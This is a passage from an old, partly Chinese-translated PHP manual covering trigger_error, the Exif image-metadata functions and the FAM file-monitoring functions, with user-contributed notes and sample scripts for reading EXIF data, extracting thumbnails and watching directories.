   trigger_error ("Cannot divide by zero", E_USER_ERROR);
?>

That will print out a PHP like error, making it easy to find errors in your logic.  It will print out the page, and the line number that the trigger_error() function is called on.  A handly little tool in debugging, as well as controlling error messages.  It also looks much more
prefossional than

echo "Cannot divide by zero"

Happy coding!

Note: This was taken directy from the PHP Newsletter located here: http://www.newbienetwork.net
add a note add a note

后退 | 起点 | 前进
set_exception_handler | 上一级 | user_error


user_error

(PHP 4, PHP 5)

user_error -- Alias of trigger_error()

说明

本函数是该函数的别名： trigger_error().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
trigger_error | 上一级 | Exif Functions


Exif Functions

PHP 手册
后退 前进

XXXII. Exif Functions

简介

With the exif extension you are able to work with image meta data. For example, you may use exif functions to read meta data of pictures taken from digital cameras by working with information stored in the headers of the JPEG and TIFF images.

需求

Your PHP must be compiled in with --enable-exif. PHP does not require any additional library for the exif module. Windows users must also have the mbstring extension enabled.

安装

To enable exif-support configure PHP with --enable-exif

Windows users must enable both the php_mbstring.dll and php_exif.dll DLL's in php.ini. The php_mbstring.dll DLL must be loaded before the php_exif.dll DLL so adjust your php.ini accordingly.

运行时配置

这些函数的行为受 php.ini 的影响。

当 mbstring 模块可用时，exif 支持用户注释中的 Unicode 和 JIS 字符编码的自动转换。这是通过先用指定字符集将注释解码，把结果再用另一个符合你的 HTTP 输出的字符集编码来实现的。

表格 1. Exif configuration options

名称 | 默认值 | 可修改范围 | 更新记录
exif.encode_unicode | "ISO-8859-15" | PHP_INI_ALL | 自 PHP 4.3.0 起可用。
exif.decode_unicode_motorola | "UCS-2BE" | PHP_INI_ALL | 自 PHP 4.3.0 起可用。
exif.decode_unicode_intel | "UCS-2LE" | PHP_INI_ALL | 自 PHP 4.3.0 起可用。
exif.encode_jis | "" | PHP_INI_ALL | 自 PHP 4.3.0 起可用。
exif.decode_jis_motorola | "JIS" | PHP_INI_ALL | 自 PHP 4.3.0 起可用。
exif.decode_jis_intel | "JIS" | PHP_INI_ALL | 自 PHP 4.3.0 起可用。
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

exif.encode_unicode string

exif.encode_unicode 定义了 UNICODE 用户注释被处理的字符集。默认为 ISO-8859-15，可用于大多数非亚洲国家。本设置可以为空或者必须为一个 mbstring 所支持的编码。如果为空，则使用当前 mbstring 内部使用的编码。

exif.decode_unicode_motorola string

exif.decode_unicode_motorola 定义了 Unicode 编码的用户注释的图像内部字符集，如果图像是摩托罗拉字节顺序（big-endian）的话。本设置不能为空但可以指定一个 mbstring 支持的编码列表。默认为 UCS-2BE。

exif.decode_unicode_intel string

exif.decode_unicode_intel 定义了 Unicode 编码的用户注释的图像内部字符集，如果图像是英特尔字节顺序（little-endian）的话。本设置不能为空但可以指定一个 mbstring 支持的编码列表。默认为 UCS-2LE。

exif.encode_jis string

exif.encode_jis 定义了 JIS 用户注释被处理的字符集。默认为空值，迫使函数使用当前 mbstring 使用的内部编码。

exif.decode_jis_motorola string

exif.decode_jis_motorola 定义了 JIS 编码的用户注释的图像内部字符集，如果图像是摩托罗拉字节顺序（big-endian）的话。本设置不能为空但可以指定一个 mbstring 支持的编码列表。默认为 JIS。

exif.decode_jis_intel string

exif.decode_jis_intel 定义了 JIS 编码的用户注释的图像内部字符集，如果图像是英特尔字节顺序（litle-endian）的话。本设置不能为空但可以指定一个 mbstring 支持的编码列表。默认为 JIS。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

EXIF_USE_MBSTRING (integer)

The exif_imagetype() lists several related built-in constants.

目录
exif_imagetype -- 判断一个图像的类型
exif_read_data -- 从 JPEG 或 TIFF 文件中读取 EXIF 头信息
exif_tagname -- Get the header name for an index
exif_thumbnail -- 取得嵌入在 TIFF 或 JPEG 图像中的缩略图
read_exif_data -- exif_read_data() 的别名

add a note add a note User Contributed Notes
filter_phpmanual at oderwat dot de
03-Sep-2005 10:26
I just found that I had to change the order of modules in php.ini to use the exif extension in php 4.3.11 on my windows system.

If I include the exif module in the order given in php.ini (first exif .. later mbstring) apache fails without any obvious reason.

After placing the exif module after the mbstring module it works.

I thought that info may prevent other people to search hours for errors in their setup too...
23-Dec-2004 06:55
exif.encode_unicode  string

   exif.encode_unicode defines the characterset UNICODE user comments are handled. This defaults to ISO-8859-15 which should work for most non Asian countries. The setting can be empty or must be an encoding supported by mbstring. If it is empty the current internal encoding of mbstring is used.

How come ISO-8859-15 works for most non-Asian countries? It's only for West European and does NOT work for Russian, Greek, Albanian, Polish, Czech, and so forth. The default should be 'UTF-8'
add a note add a note

后退 | 起点 | 前进
user_error | 上一级 | exif_imagetype


exif_imagetype

(PHP 4 >= 4.3.0, PHP 5)

exif_imagetype -- 判断一个图像的类型

说明

int exif_imagetype ( string filename )

exif_imagetype() 读取一个图像的第一个字节并检查其签名。

本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 $_SERVER['HTTP_ACCEPT'] 结合使用来检查浏览器是否可以显示某个指定的图像。

参数

filename

被检查的图像文件名。

返回值

如果发现了恰当的签名则返回一个对应的常量，否则返回 FALSE。返回值和 getimagesize() 返回的数组中的索引 2 的值是一样的，但本函数快得多。

更新日志

版本 | 说明
4.3.2 | 支持 JPC，JP2，JPX，JB2，XBM 以及 WBMP
4.3.0 | 支持 SWC

预定义常量

定义有以下常量，并代表了 exif_imagetype() 可能的返回值：

表格 1. 图像类型常量

值 | 常量
1 | IMAGETYPE_GIF
2 | IMAGETYPE_JPEG
3 | IMAGETYPE_PNG
4 | IMAGETYPE_SWF
5 | IMAGETYPE_PSD
6 | IMAGETYPE_BMP
7 | IMAGETYPE_TIFF_II（Intel 字节顺序）
8 | IMAGETYPE_TIFF_MM（Motorola 字节顺序）
9 | IMAGETYPE_JPC
10 | IMAGETYPE_JP2
11 | IMAGETYPE_JPX
12 | IMAGETYPE_JB2
13 | IMAGETYPE_SWC
14 | IMAGETYPE_IFF
15 | IMAGETYPE_WBMP
16 | IMAGETYPE_XBM

范例

例子 1. exif_imagetype() 例子

<?php

if (exif_imagetype("image.gif") != IMAGETYPE_GIF) {
    echo "The picture is not a gif";
}

?>

参见

getimagesize()

add a note add a note User Contributed Notes
tom at tomvergote dot be
08-Feb-2004 06:11
libexif can also be used to parse image info out of id3 tags:

exif_read_data("mp3_with_2.4ID3TAGS, '', true, false);
tilmauder at yahoo dot com
06-Jul-2003 07:57
After looking for hours, I found a very good source for exif related programs here: http://drewnoakes.com/code/exif/index.html
It lists exif specifications (pdf), a few good links to exif related stuff. The best source I have found in my quest to understand exif better for use in php based exif tools.
add a note add a note

后退 | 起点 | 前进
Exif Functions | 上一级 | exif_read_data


exif_read_data

(PHP 4 >= 4.2.0, PHP 5)

exif_read_data -- 从 JPEG 或 TIFF 文件中读取 EXIF 头信息

说明

array exif_read_data ( string filename [, string sections [, bool arrays [, bool thumbnail]]] )

exif_read_data() 函数从 JPEG 或 TIFF 图像文件中读取 EXIF 头信息。这样就可以读取数码相机产生的元数据。

Exif 头信息往往存在于数码相机生成的 JPEG/TIFF 图像中，但不幸的是每个数码相机制造商的标记都不同，因此（编写代码时）不能依赖于某个特定的 Exif 头信息。

Height 和 Width 是用和 getimagesize() 一样的方法计算的，因此它们的值不能是任何返回的头信息的部分。此外 html 是一个 height/width 的文本字符串可以用于普通的 HTML 中。

当一个 Exif 头信息包含有一个 Copyright 时注意它本身可以包含两个值。解决方案和 Exif 2.10 标准不一致，COMPUTED 区段会同时返回 Copyright.Photographer 和 Copyright.Editor，但是 IFD0 区段则包含有一个字节数组用 NULL 字符分隔开两个项目。或者只有第一项如果数据类型错误的话（Exif 的正常行为）。COMPUTED 也会包含 Copyright，要么是原始的版权字符串，要么是逗号分隔的摄像与编辑的版权信息。

UserComment 标记和 Copyright 有同样的问题。它也可以存储两个值，第一个是使用的编码方式，第二个是其值本身。如果这样则 IFD0 区段仅包含编码方式或者一个字节数组。COMPUTED 区段将存储两个值到 UserCommentEncoding 和 UserComment。UserComment 在两种情况下都可用因此应该优先使用它而不是 IFD0 区段中的该值。

exif_read_data() 还会根据 EXIF 规范（http://exif.org/Exif2-2.PDF，第 20 页）来验证 EXIF 数据。

注: Windows ME/XP 在连接到数码相机时能清除掉 Exif 头信息。更多信息见 http://www.canon.co.jp/Imaging/NOTICE/011214-e.html。

参数

filename

被读取的图像文件名。不能是 URL。

sections

是需要存在于文件中的逗号分隔的区段列表用来产生结果数组。如果未找到所请求的区段则返回值为 FALSE。

FILE | FileName, FileSize, FileDateTime, SectionsFound
COMPUTED | html，Width，Height，IsColor，可能有更多其它的。Height 和 Width 是用和 getimagesize() 一样的方法计算的，因此它们的值不能是任何返回的头信息的部分。此外 html 是一个 height/width 的文本字符串可以用于普通的 HTML 中。
ANY_TAG | 任何包含有标记的信息，例如 IFD0，EXIF，...
IFD0 | 所有 IFD0 的标记数据。在标准的图像文件中这包含了图像大小及其它。
THUMBNAIL | 如果有第二个 IFD，文件应该包含有缩略图。所有有关嵌入缩略图的标记信息都存储在本区。
COMMENT | JPEG 图像的注释头信息。
EXIF | EXIF 区段是 IFDO 的子区，包含有图像的更多详细信息。大多数内容都是数码相机相关的。

arrays

指定了是否每个区段都成为一个数组。sections COMPUTED，THUMBNAIL 和COMMENT 区段总是成为数组，因为它们里面包含的名字和其它区段冲突。

thumbnail

当设定为 TRUE 时，读取缩略图本身。否则只读取标记数据。

返回值

返回一个关联数组，键名是头信息名，值为与其相应的值。如果没有可供返回的数据，exif_read_data() 将返回 FALSE。

更新日志

版本 | 说明
4.3.0 | 可以读取所有嵌入的 IFD 数据，包括数组（也返回数组）。此外嵌入的缩略图的大小包括在 THUMBNAIL 子数组中并且 exif_read_data() 可以将缩略图按照 TIFF 格式返回。最后，不再有返回值最大长度的限制了（直到达到内存限定）。
4.3.0 | 如果 PHP 有 mbstring 支持，则用户注释可以自动改变编码。此外，如果用户注释使用 Unicode 或 JIS 编码，将会根据 EXIF 在 php.ini 中的 设置被自动改变。
4.3.0 | 如果图像包含任何 IFD0 数据，则 COMPUTED 会包含有一项 ByteOrderMotorola，对于 little-endian (intel) 字节顺序，其值为 0，对于 big-endian (motorola) 字节顺序，其值为 1。此外，COMPUTED 和 UserComment 在数据类型出错时也不再仅包含第一个版权条目。

范例

例子 1. exif_read_data() 例子

<?php
echo "test1.jpg:<br />\n";
$exif = exif_read_data('tests/test1.jpg', 'IFD0');
echo $exif===false ? "No header data found.<br />\n" : "Image contains headers<br />\n";

$exif = exif_read_data('tests/test2.jpg', 0, true);
echo "test2.jpg:<br />\n";
foreach ($exif as $key => $section) {
    foreach ($section as $name => $val) {
        echo "$key.$name: $val<br />\n";
    }
}
?>

第一个调用失败了，因为图像没有头信息。

上例的输出类似于：

test1.jpg:
No header data found.
test2.jpg:
FILE.FileName: test2.jpg
FILE.FileDateTime: 1017666176
FILE.FileSize: 1240
FILE.FileType: 2
FILE.SectionsFound: ANY_TAG, IFD0, THUMBNAIL, COMMENT
COMPUTED.html: width="1" height="1"
COMPUTED.Height: 1
COMPUTED.Width: 1
COMPUTED.IsColor: 1
COMPUTED.ByteOrderMotorola: 1
COMPUTED.UserComment: Exif test image.
COMPUTED.UserCommentEncoding: ASCII
COMPUTED.Copyright: Photo (c) M.Boerger, Edited by M.Boerger.
COMPUTED.Copyright.Photographer: Photo (c) M.Boerger
COMPUTED.Copyright.Editor: Edited by M.Boerger.
IFD0.Copyright: Photo (c) M.Boerger
IFD0.UserComment: ASCII
THUMBNAIL.JPEGInterchangeFormat: 134
THUMBNAIL.JPEGInterchangeFormatLength: 523
COMMENT.0: Comment #1.
COMMENT.1: Comment #2.
COMMENT.2: Comment #3end
THUMBNAIL.JPEGInterchangeFormat: 134
THUMBNAIL.Thumbnail.Height: 1
THUMBNAIL.Thumbnail.Height: 1

参见

exif_thumbnail()
getimagesize()

add a note add a note User Contributed Notes
10-Aug-2004 01:11
I've just released the "PHP JPEG Metadata Toolkit" which allows reading, writing and displaying of EXIF information, and does not need the --enable-exif option in PHP4.

It has been tested on 466 different models of digital cameras!

It can decode the following EXIF makernotes:
Agfa, Canon, Casio, Contax, Epson, Fujifilm, Konica, Minolta, Kyocera, Nikon, Olympus, Panasonic, Pentax (Asahi), Ricoh and Sony

Additionaly it can decode IPTC, XMP, Photoshop IRB and many other types of JPEG metadata

Try it out, and download it at:
http://www.ozhiker.com/electronics/pjmt/index.html
gimpster at gimpster dot com
18-May-2004 07:24
I've written a library in pure PHP5 for editing EXIF tags. It deals with both reading and writing EXIF tags, and can be downloaded from http://pel.sourceforge.net/
noway at nowaysoft dot com
24-Feb-2004 12:44
Exif is very unstable under php4.1.2

If you have some problem, (the function didnt return anything, like a blocking call) try this:

$file = './image.jpg';
getimagesize ( $file , $info);

$exif = array();
if (isset($info)) {
   foreach($info as $key => $val) {
       if ($key != 'APP1') { $exif = read_exif_data($file); break; }
   }
}

-- Sharp
pekka at photography-on-the dot net
20-Nov-2003 09:50
For reading EXIF from XMP data embedded by Adobe Photoshop CS, see  http://www.photography-on-the.net/ee/beta/cs_xmp_to_exif.php
add a note add a note

后退 | 起点 | 前进
exif_imagetype | 上一级 | exif_tagname


exif_tagname

(PHP 4 >= 4.2.0, PHP 5)

exif_tagname -- Get the header name for an index

说明

string exif_tagname ( string index )

警告

本函数暂无文档，仅有参数列表。

参数

index

The image index

返回值

Returns the header name, or FALSE if index is undefined.

参见

exif_imagetype()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
exif_read_data | 上一级 | exif_thumbnail


exif_thumbnail

(PHP 4 >= 4.2.0, PHP 5)

exif_thumbnail -- 取得嵌入在 TIFF 或 JPEG 图像中的缩略图

说明

string exif_thumbnail ( string filename [, int &width [, int &height [, int &imagetype]]] )

exif_thumbnail() 读取 TIFF 或 JPEG 图像中的嵌入缩略图。如果图像不包含缩略图则返回 FALSE。

参数 width，height 和 imagetype 自 PHP 4.3.0 起可用，返回缩略图的大小和类型。有可能 exif_thumbnail() 不能创建图像但可以测定其大小，此情况下返回值是 FALSE，但是 width 和 height 的值已经传回了。

如果想用此函数发送缩略图，应该用 header() 函数发送 mime 类型信息。下面的例子演示了此方法：

例子 1. exif_thumbnail() 例子

<?php
if (array_key_exists('file',$_REQUEST)) {
    $image = exif_thumbnail($_REQUEST['file'], $width, $height, $type);
} else {
    $image = false;
}
if ($image!==false) {
    header("Content-type: ".image_type_to_mime_type($type));
    echo $image;
    exit;
} else {
    // no thumbnail available, handle the error here
    echo "No thumbnail available";
}
?>

自 PHP 4.3.0 起，exif_thumbnail() 函数可以以 TIFF 格式返回缩略图。

注: 本函数仅在 PHP 编译时使用了 --enable-exif 选项时可用。其功能和行为在 PHP 4.2 改变了。

注: 本函数不需要 GD 图像库。

参见 exif_read_data() 和 image_type_to_mime_type()。

add a note add a note User Contributed Notes
hanspeter dot debets at dendrite dot com
14-Jan-2005 10:35
Great that the thumbnail can be in TIFF format (f.i. Kodak cameras have embedded thumbnail in TIFF) BUT I have not been able to show TIFF as an embedded image in HTML (using the <IMG...> tag). There seems to be no function in PHP to change TIFF to, lets say, JPG. (imagecreatefromstring gives a 'unknown datatype' error for the TIFF stream. So below sample works great for JPEG embedded thumbnail, but not for TIFF embedded (but then, maybe I did something wrong?):

test_exif.php:

<HTML>
<HEAD>
   <TITLE>Test EXIF Read  </TITLE>
</HEAD>
<BODY>
<?php
$image='P0000614.JPG';
echo("<B>". $image. "</B>:<BR><BR>\n");

$exif = exif_read_data($image, 'ANY_TAG',true);
if (!$exif===false)
{
   echo("Image contains headers<br><br>");
   echo("<A href=showthumb.php?image=" . $image ."> <IMG border=0 src=showthumb.php?image=" . $image ."></A><BR><BR>");

   foreach ($exif as $key => $section)
   {
       foreach ($section as $name => $val)
       {
           echo "$key.$name: $val<br>\n";
       }
   }
}
else
{
   echo("Sorry, image <B>".$image . "</B> does not contain (readable) EXIF data.");
}
?>
</BODY>
</HTML>

showthumb.php:

<?php
$imgdat = exif_thumbnail($_REQUEST['image'],$width, $height, $type);
header('Content-type: ' . image_type_to_mime_type($type));
echo($imgdat);
?>

When clicking on the <A> opens the TIFF image in the program that windows assigned to this type, but the JPEG opens in the browser.

I am using PHP 4.3.6 on windows iis 4 (yeah, I know.....)
Eric
14-Jun-2004 10:05
This will allow you to manipulate the thumbnail image ($imgJpeg) using the various gd commands:

<?php
  if (($imgJpeg = exif_thumbnail($strImagePath)) === false)
   print "No Thumbnail!";
  else
   $imgJpeg = imageCreateFromString($imgJpeg);
?>
neothermic at ya[]o dot com ADD ho IN GAP
27-May-2004 01:01
You can use the EXIF thumbnail function to extract the thumnails for use in an image gallery. I've found this to be faster than using other GD functions to convert the image to a smaller one then save it.

Here is the code I use to generate thumbnails. Remember, this is more of a utility script, although its simple to modifiy it for use...

<?PHP
set_time_limit(0); //use this to make sure the script doesn't time out on large number of images.
//error_reporting(E_NONE); //use this to disable errors in a production script

function getmicrotime() {
   $temparray=split(" ",microtime());
   $returntime=$temparray[0]+$temparray[1];
   return $returntime;
}

//lets make it slightly proper HTML. not valid, but can be changed quickly to be
echo "<html>
<head><title>Processing...</title></head>
<body>";

$maindir = "." ; //change this to what ever directory needs scanning
$mydir = opendir($maindir) ;
$starttime=getmicrotime();
$i = 0; //set the count of images processed to 0
while($fn = readdir($mydir)) //scan through the whole directory
   {//open while

       $startimagetime = getmicrotime();
       $ext = strtolower(substr($fn,strlen($fn)-3)); //get the extension of an image
       if ($ext == "jpg") {
           $i++; //increase the number of images processed
           echo $fn ." is being processed....<br>";
           flush(); //needed to display each image progress

           $image = exif_thumbnail($fn, $width, $height, $type);

           if ($image!==false) {
                   //if there is a good enough thumbnail to use, we have it here.
                   //extract it and put it in the file, call it [original image name].thumb.jpg
                 $handle = fopen ($fn.".thumb.jpg", 'a');
                 //write the thumbnail image
                 fwrite($handle, $image);
           } else {
                 // no thumbnail available, handle the error here
                 echo "No thumbnail available for file ".$fn."<br>";
           }
       }
}
closedir($mydir);
$endtime=getmicrotime();

echo "<br>All Images have been processed, script is finshed.<br>Total processing time: ";
print $endtime-$starttime;
echo "<br> Images processed: " .$i;
echo "</body>";
echo "</html>"

?>

Its a bit crude, I must admit, but it can easily be adapted to suit user.

NeoThermic
add a note add a note

后退 | 起点 | 前进
exif_tagname | 上一级 | read_exif_data


read_exif_data

(PHP 4 >= 4.0.1, PHP 5)

read_exif_data -- exif_read_data() 的别名

说明

本函数是 exif_read_data() 的别名。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
exif_thumbnail | 上一级 | File Alteration Monitor Functions


File Alteration Monitor Functions

PHP 手册
后退 前进

XXXIII. File Alteration Monitor Functions

简介

FAM monitors files and directories, notifying interested applications of changes. More information about FAM is available at http://oss.sgi.com/projects/fam/.

A PHP script may specify a list of files for FAM to monitor using the functions provided by this extension.

The FAM process is started when the first connection from any application to it is opened. It exits after all connections to it have been closed.

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.1.0.

注: 本扩展模块在 Windows 平台下不可用。

需求

This extension uses the functions of the FAM library, developed by SGI. Therefore you have to download and install the FAM library.

安装

To use PHP's FAM support you must compile PHP --with-fam[=DIR] where DIR is the location of the directory containing the lib and include directories.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

FAM resource

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

表格 1. FAM event constants

Constant | Description
FAMChanged (integer) | Some value which can be obtained with fstat(1) changed for a file or directory.
FAMDeleted (integer) | A file or directory was deleted or renamed.
FAMStartExecuting (integer) | An executable file started executing.
FAMStopExecuting (integer) | An executable file that was running finished.
FAMCreated (integer) | A file was created in a directory.
FAMMoved (integer) | This event never occurs.
FAMAcknowledge (integer) | An event in response to fam_cancel_monitor().
FAMExists (integer) | An event upon request to monitor a file or directory. When a directory is monitored, an event for that directory and every file contained in that directory is issued.
FAMEndExist (integer) | Event after the last FAMEExists event.
目录
fam_cancel_monitor -- Terminate monitoring
fam_close -- Close FAM connection
fam_monitor_collection -- Monitor a collection of files in a directory for changes
fam_monitor_directory -- Monitor a directory for changes
fam_monitor_file -- Monitor a regular file for changes
fam_next_event -- Get next pending FAM event
fam_open -- Open connection to FAM daemon
fam_pending -- Check for pending FAM events
fam_resume_monitor -- Resume suspended monitoring
fam_suspend_monitor -- Temporarily suspend monitoring

add a note add a note User Contributed Notes
Yassin Ezbakhe <yassin88 at gmail dot com>
01-Sep-2005 07:16
I make a VERY simple class that monitors a folder (and its subfolders) for new or removed files. I use it in order to auto index a folder where I have all my eBooks into a MySQL database.

CLASS FILE:

<?php
class FileAlterationMonitor
{
   private $scanFolder, $initialFoundFiles;

   public function __construct($scanFolder)
   {
       $this->scanFolder = $scanFolder;
       $this->updateMonitor();
   }

   private function _arrayValuesRecursive($array)
   {
       $arrayValues = array();

       foreach ($array as $value)
       {
           if (is_scalar($value) OR is_resource($value))
           {
                 $arrayValues[] = $value;
           }
           elseif (is_array($value))
           {
                 $arrayValues = array_merge( $arrayValues, $this->_arrayValuesRecursive($value));
           }
       }

       return $arrayValues;
   }

   private function _scanDirRecursive($directory)
   {
       $folderContents = array();
       $directory = realpath($directory).DIRECTORY_SEPARATOR;

       foreach (scandir($directory) as $folderItem)
       {
           if ($folderItem != "." AND $folderItem != "..")
           {
               if (is_dir($directory.$folderItem.DIRECTORY_SEPARATOR))
               {
                   $folderContents[$folderItem] = $this->_scanDirRecursive( $directory.$folderItem."\\");
               }
               else
               {
                   $folderContents[] = $folderItem;
               }
           }
       }

       return $folderContents;
   }

   public function getNewFiles()
   {
       $finalFoundFiles = $this->_arrayValuesRecursive( $this->_scanDirRecursive($this->scanFolder));

       if ($this->initialFoundFiles != $finalFoundFiles)
       {
           $newFiles = array_diff($finalFoundFiles, $this->initialFoundFiles);
           return empty($newFiles) ? FALSE : $newFiles;
       }
   }

   public function getRemovedFiles()
   {
       $finalFoundFiles = $this->_arrayValuesRecursive( $this->_scanDirRecursive($this->scanFolder));

       if ($this->initialFoundFiles != $finalFoundFiles)
       {
           $removedFiles = array_diff( $this->initialFoundFiles, $finalFoundFiles);
           return empty($removedFiles) ? FALSE : $removedFiles;
       }
   }

   public function updateMonitor()
   {
       $this->initialFoundFiles = $this->_arrayValuesRecursive($this->_scanDirRecursive( $this->scanFolder));
   }
}
?>

A simple script that uses this class could be like this one (use it with PHP CLI):

<?php

$f = new FileAlterationMonitor($MY_FOLDER_TO_MONITOR)

while (TRUE)
{
   sleep(1);

   if ($newFiles = $f->getNewFiles())
   {
       // Code to handle new files
       // $newFiles is an array that contains added files
   }

   if ($removedFiles = $f->getRemovedFiles())
   {
       // Code to handle removed files
       // $newFiles is an array that contains removed files
   }

   $f->updateMonitor();
}
ca50015 at yahoo dot com
28-Nov-2004 01:17
if u want do recursive monitoring on directory tree,
dont use fam_monitor_directory()
try to use fam_monitor_collection() instead
:)
b e n a d l e r -at- g m x -d-o-t- net
12-Aug-2004 01:57
in the example above, I would not use the while(1) and sleep() functions, since then you're back at waiting and polling for file changes, which you were trying to avoid using fam.

Instead, you can use while(fam_next_event($resource)), which blocks until there is an event. No polling, no useless wasting of cpu  cycles.

Anyway, I have some problems with fam: It is very limited and almost useless.

 - You cannot monitor a directory tree easily, since fam_monitor_directory() is non-recursive. Its an ugly hack, but you can go through each subdir and also monitor it with fam_monitor_directory().

 - When you do that, you will have another problem: The events you get contain the code and the filename, but not the pathname of the file that caused the event. Thus, if you monitor two or more directories, and they possibly contain files with the same basename, you cannot find out what file has changed. One ugly solution might be to create a new fam_resource for each directory you want to monitor, but then you cannot use fam_next_event() in your while loop anymore.

 - When a big file is saved (i.e. with photoshop via samba), you get file_changed events pretty much every second the file is being written to. It is not possible to receive ONE event AFTER the file operation is done.

I'm not sure, but I think most of this is not PHPs fault. Its just that fam (or dnotify, which fam uses on linux) sucks very badly. If you search on google, it seems everyone hates fam/dnotify (even linus), but noone has done anything about it yet.

If you find out how to work around thing, or if I'm completely wrong about all of this, please post here! Thanks!
sergiopaternoster at no_spam_tiscali dot it
22-May-2004 12:20
Here is a simple script to check changes etc. to a file.
<?php

/* opens a connection to the FAM service daemon */
$fam_res = fam_open ();

/*
 * The second argument is the full pathname
 * of the file to monitor.
 * Note that you can't use relative pathnames.
*/
$nres = fam_monitor_file ( $fam_res, '/home/sergio/test/fam/file_to_monitor.log');

while(1){
   if( fam_pending ( $fam_res ) ) $arr = (fam_next_event($fam_res)) ;
   switch ($arr['code']){
       case 1:
           echo "FAMChanged\n";
           break;
       case 2:
           echo "FAMDeleted\n";
           break;
       case 3:
           echo "FAMStartExecuting\n";
           break;
       case 4:
           echo "FAMStopExecuting\n";
           break;
       case 5:
           echo "FAMCreated\n";
           break;
       case 6:
           echo "FAMMoved\n";
           break;
       case 7:
           echo "FAMAcknowledge\n";
           break;
       case 8:
           echo "FAMExists\n";
           break;
       case 9:
           echo "FAMEndExist\n";
           break;
       default:
           break;
   }
   if(isset($arr)) unset($arr);

   /* In order to avoid too much CPU load */
   usleep(5000);
}

/* Close FAM connection */
fam_close($fam_res);

?>
Hope this could help.
God Belss PHP!
regards
Sergio Paternoster
add a note add a note

后退 | 起点 | 前进
read_exif_data | 上一级 | fam_cancel_monitor


fam_cancel_monitor

(PHP 5 <= 5.0.4)

fam_cancel_monitor -- Terminate monitoring

说明

bool fam_cancel_monitor ( resource fam, resource fam_monitor )

fam_cancel_monitor() terminates monitoring on a resource previously requested using one of the fam_monitor_ functions. In addition an FAMAcknowledge event occurs.

See also fam_monitor_file(),
fam_monitor_directory(),
fam_monitor_collection(), and
fam_suspend_monitor()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
File Alteration Monitor Functions | 上一级 | fam_close


fam_close

(PHP 5 <= 5.0.4)

fam_close -- Close FAM connection

说明

void fam_close ( resource fam )

fam_close() closes a connection to the FAM service previously opened using fam_open().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fam_cancel_monitor | 上一级 | fam_monitor_collection


fam_monitor_collection

(PHP 5 <= 5.0.4)

fam_monitor_collection -- Monitor a collection of files in a directory for changes

说明

resource fam_monitor_collection ( resource fam, string dirname, int depth, string mask )

fam_monitor_collection() requests monitoring for a collection of files within a directory. The actual files to be monitored are specified by a directory path in dirname, the maximum search depth starting from this directory and a shell pattern mask restricting the file names to look for.

A FAM event will be generated whenever the status of the files change. The possible event codes are described in detail in the constants part of this section.

See also fam_monitor_file(),
fam_monitor_directory(),
fam_cancel_monitor(),
fam_suspend_monitor(), and
fam_resume_monitor().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fam_close | 上一级 | fam_monitor_directory


fam_monitor_directory

(PHP 5 <= 5.0.4)

fam_monitor_directory -- Monitor a directory for changes

说明

resource fam_monitor_directory ( resource fam, string dirname )

fam_monitor_directory() requests monitoring for a directory and all contained files. A FAM event will be generated whenever the status of the directory (i.e. the result of function stat() on that directory) or its content (i.e. the results of readdir()) change.

The possible event codes are described in detail in the constants part of this section.

See also fam_monitor_file(),
fam_monitor_collection(),
fam_cancel_monitor(),
fam_suspend_monitor(), and
fam_resume_monitor().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fam_monitor_collection | 上一级 | fam_monitor_file


fam_monitor_file

(PHP 5 <= 5.0.4)

fam_monitor_file -- Monitor a regular file for changes

说明

resource fam_monitor_file ( resource fam, string filename )

fam_monitor_file() requests monitoring for a single file. A FAM event will be generated whenever the file status (i.e. the result of function stat() on that file) changes.

The possible event codes are described in detail in the constants part of this section.

See also fam_monitor_directory(),
fam_monitor_collection(),
fam_cancel_monitor(),
fam_suspend_monitor(), and
fam_resume_monitor().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fam_monitor_directory | 上一级 | fam_next_event


fam_next_event

(PHP 5 <= 5.0.4)

fam_next_event -- Get next pending FAM event

说明

array fam_next_event ( resource fam )

fam_next_event() returns the next pending FAM event. The function will block until an event is available which can be checked for using fam_pending().

fam_next_event() will return an array that contains a FAM event code in element 'code', the path of the file this event applies to in element 'filename' and optionally a hostname in element 'hostname'.

The possible event codes are described in detail in the constants part of this section.

See also fam_pending().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fam_monitor_file | 上一级 | fam_open


fam_open

(PHP 5 <= 5.0.4)

fam_open -- Open connection to FAM daemon

说明

resource fam_open ( [string appname] )

fam_open() opens a connection to the FAM service daemon. The optional parameter appname should be set to a string identifying the application for logging reasons.

See also fam_close().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fam_next_event | 上一级 | fam_pending


fam_pending

(PHP 5 <= 5.0.4)

fam_pending -- Check for pending FAM events

说明

int fam_pending ( resource fam )

fam_pending() returns non-zero if events are available to be fetched using fam_next_event().

See also fam_next_event().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fam_open | 上一级 | fam_resume_monitor


fam_resume_monitor

(PHP 5 <= 5.0.4)

fam_resume_monitor -- Resume suspended monitoring

说明

bool fam_resume_monitor ( resource fam, resource fam_monitor )

fam_resume_monitor() resumes monitoring of a resource previously suspend using fam_suspend_monitor().

See also fam_suspend_monitor().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fam_pending | 上一级 | fam_suspend_monitor


fam_suspend_monitor

(PHP 5 <= 5.0.4)

fam_suspend_monitor -- Temporarily suspend monitoring

说明

